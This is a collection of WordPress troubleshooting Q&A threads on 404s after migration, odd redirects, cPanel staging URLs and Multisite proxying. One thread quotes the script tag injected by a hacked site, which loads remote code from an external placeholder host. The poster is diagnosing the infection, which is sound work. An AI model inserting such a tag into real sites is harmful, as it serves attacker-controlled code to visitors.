I have developed a wordpress based site using xampp 1.8.3. On my local machine all is wordìking fine. On the server I am using php 5.4.12.
On the server I copied the site on a subfolder name site, wich is the same subfolder name I had in xampp/htdocs. Then i changed all occurances of localhost to mydomain.com with the searchreplacedb2.php script (http://interconnectit.com/products/search-and-replace-for-wordpress-databases). I am confident that the tool is working properly and the issue does not depend on it as I have used it several other times with succcess.
Therefore since on my local machine the site was in localhost/site, on the hosting server is on mydomain.com/site.
The proble is that accessing the site home page produces a wordpress managed 404 page with no css being loaded. The title, menu and other site specific text is displayed, therefore the db is being read correctly. Trying to access any page other than the home page gets a webhost managed 404 page. This happens also if I try to access page through non symbolic urls, ei. mydomain.com/site/?page_id=5; therefore it is should not be a redirection issues.
what can be the issue? How can I proceed in troubleshooting it?
Thanks, in advance for your time.
You need to double check everything, first:
Flush the rewrite rules by visiting settings->permalinks then try your pages. Then try:
List item login to phpmyadmin for each domain, check out the database... options table... verify the "siteurl", and "home" columns. make sure they match the respective domains. Then try:
List itemCheck the DNS zone template. Could very well be possible DNS conflicts.
Related
This is a peculiar one.
I work for an agency, and we develop WordPress and JAM Stack sites for our clients.
I have been contacted by the IT team for one of the clients (an NGO), and they flagged something that I have not seen before.
NOTE: I am going to be using example.org as the website, to protect the identity of the client.
Basically, we developed a WordPress site for them, which works great and all, but as it turn outs there is a page on the website which points to a totally different website
The example page is as follows
example.org/news/points-to-different-website/
The news page doesn't exist in anywhere on WordPress system, and neither does it exist as a custom post type.
And another thing, I noticed is when I removed the / at the end of the URL, it shows the custom 404 page developed for the website
example.org/news/points-to-different-website
But as soon as you add the /, it shows a totally different website.
I have checked all the Apache configuration files related to the site, and it is just the normal setup for any WordPress site.
So, I am wondering what could be causing this, and how can one prevent it?
That's a strange issue. Does example.org/news/points-to-different-website/ actually redirect to another full URL, i.e. differentwebsite.com, or is the different site actually at example.org/news/points-to-different-website/?
Try
emptying the trash for both pages and posts, as there could be a conflicting slug that is causing a redirect.
Reset permalinks.
Using PHPMyAdmin, search the database for the URL points-to-different-website and see if there is malware or some kind of a redirect, an iFrame, etc.
This can sometimes happen if the server hostname is not set up correctly.
What can happen is website on the server will show in place of a non-existent site or page from another website on the same server.
If you are using a reseller hosting/shared hosting, then the site could be from another account on the server, the site could also be from another server, for example:
There are 2 servers with the hostnames serverone.myserver.com and servertwo.myserver.com... A site on serverone might show in place of a site or page on servertwo.
I have a cPanel hosting package, and the staging url is this format: https://cpanelserver.com/~cpaneluserid/.
This does take me to my WordPress site. However, it takes me to the WordPress page "Oh no! No content is appearing for this page!".
Obviously the /~cpaneluserid/ part of the staging url is not recognized by WordPress as a valid page name.
If I try to tack on an interior page name like this: https://cpanelserver.com/~cpaneluserid/about-us/, I still get an "oh no" unrecognized page error.
I don't reach my website if I try removing the the cpanel userid from the url like this: https://cpanelserver.com/ or remove the tilda like this: https://cpanelserver.com/cpaneluserid/.
Has anyone been able to use a staging URL with a WordPress website from cPanel hosting with this same URL format?
UPDATE:
Because my cPanel 'staging URL' has the user-id as a sub-directory, as in
this format: https://cpanelserver.com/~cpaneluserid/, that means
that no one with a WordPress site will be able to use this staging URL format. That is because WordPress interprets the /~cpaneluserid/ as a page name.
And trying to navigate away from this invalid page (page with no content) doesn't work, as this coding: <?php bloginfo( 'url' ); ?> will always return https://cpanelserver.com/~cpaneluserid/, so the new page link will give you this URL: https://cpanelserver.com/~cpaneluserid/newpage/, showing the 'newpage' as a sub-directory of this invalid page '~cpaneluserid'.
Instead, the hosting company should be creating the staging URL with the user-id as a sub-domain, as in this format:
https://cpaneluserid.cpanelserver.com/.
I just heard from my hosting company, and they had this excuse: "Unfortunately we are not providing a staging URL on the cPanel platform due
to the number of potential security risks that are associated with it."
So basically no-one with a WordPress site on a cPanel hosting package can show their clients their website design, to get their approval, before they go live.
I am not sure why the hosting company thinks that this url: https://cpanelserver.com/~cpaneluserid/ is any less risky than this one: https://cpaneluserid.cpanelserver.com/?
So it looks like there is no answer for this post.
But now I am curious how other cPanel hosting companies deal with this 'security risk' of having a valid staging url.. or do they all use the same format as mine?
I finally solved the problem.
It turned out to be a rooky cPanel user mistake!
I had used the cPanel server name for the WP_HOME and WP_SITEURL WordPress settings (ie: https://cpanelserver.com/), instead of the actual location of my hosting package on the cPanel server (ie: https://cpanelserver.com/~cpaneluserid/).
The way I had the settings meant that WordPress ignored the part of the URL that was the defined as the siteurl (ie: https://cpanelserver.com/), and treated everything after that as a page name (ie: /~cpaneluserid/).
So when I used https://cpanelserver.com/~cpaneluserid/. to view the site online, the cPanel hosting package correctly got me to the root of my website location, but WordPress didn’t take me to the home page, instead it took me to the non-existent /~cpaneluserid/. page.
If I had gotten the server name wrong in the WP settings, then I would not have been able to see my site, and would immediately know it was an issue on my side, and would have figured out this issue sooner.
But since I had the server name correct (even though the url was incomplete), I was able to view my site, and know that the database was correct.. so I erroneously thought that my WordPress settings were also correct. Instead, I was thinking that the page presentation & navigation issues where a problem with cPanels temporary URL format.
So in case anyone every has the same problem, I wanted to document it here.
IF you are using your cPanel's staging (or temporary) URL to access
your site before it goes live, then BE SURE TO use the full URL that
points to your cpanel hosting package - which should include your
cPanel user ID as in: ‘https://cpanelserver.com/~cpaneluserid/’ in the
WordPress settings of WP_HOME and WP_SITEURL.
I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?
The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.
So I work on this Wordpress website with an event calendar at work.
Another organization had a problem getting support from their hosting, so we migrated them to our VPS as a temporary solution.
Since that has happened, they've been submitting events to our calendar, with links going to their website.
However, Wordpress upon seeing those links systematically interprets them as internal links, and looks for the document locations within our own domain name and website (and obviously doesn't find them, resulting in broken links).
I was wondering if this issue had to do with Wordpress identifying the IP address of the other site as being local because it's on the same VPS, and then interpreting local as being part of the same site?
If so, how do I have to set up the hosting on the VPS to prevent that from happening?
So the problem was in adding links in the WYSIWYG editor, and the fact that they were providing urls in their form entries without the http:// component, and that the link automatically has http:// selected (highlighted in blue), so that if you just paste the links, and they are missing the http:// component, it will look for the url within the current domain.
Not sure if there is a config for that to prevent that hiccup, but a single stroke to the right arrow before pasting has solved everything.
Our company is trying to transition to WordPress Multisite but we have several issues working against us at the moment. We host WP outside our server environment (we use Amazon for our WP sites) so we actually have to use an URL proxy to our Amazon servers. The other issue is that we needed to install Multisite in the root of the folder so the domain is http://100.10.20.30/foldername but we can't proxy that to http://www.domain.com/foldername because that is a live site that we're not moving to WP any time soon. So, of course, the problem we're running in to is that the IP is showing up not only in the source code but in Google now as well (which we don't want).
Does anyone know of anything we can do to keep the IP out of the source code/Google? I was thinking about rewrite rules in the htaccess file but didn't want to do anything until I had some better ideas.
Also, I can't use the domain mapping plugin that everyone seems to suggest for this type of issue because our sites aren't hosted in the root of our server (a prerequisite for the plugin).
So to break it down, this is what we need:
Multisite Parent Blog <-- This has to be the IP address
Multisite child blogs <-- Domain name but when we set the actual proxied domain name in the settings we get a 404 error because it's not looking in the right place. It's looking for an actual folder on our internal servers.
Thanks!
Found the solution myself. Posted below:
In the Multisite dashboard, click on "All Sites" then administer the specific site.
Under the "Path" field, you'll need to deselect the "Update siteurl and home as well."
Save changes.
Click on "Settings" tab.
Change the URL in the following fields: "SiteURL" and "Home"
Save changes.
When all is said and done, the IP is showing in the "Info" tab but it changes the URL in the source code to your domain.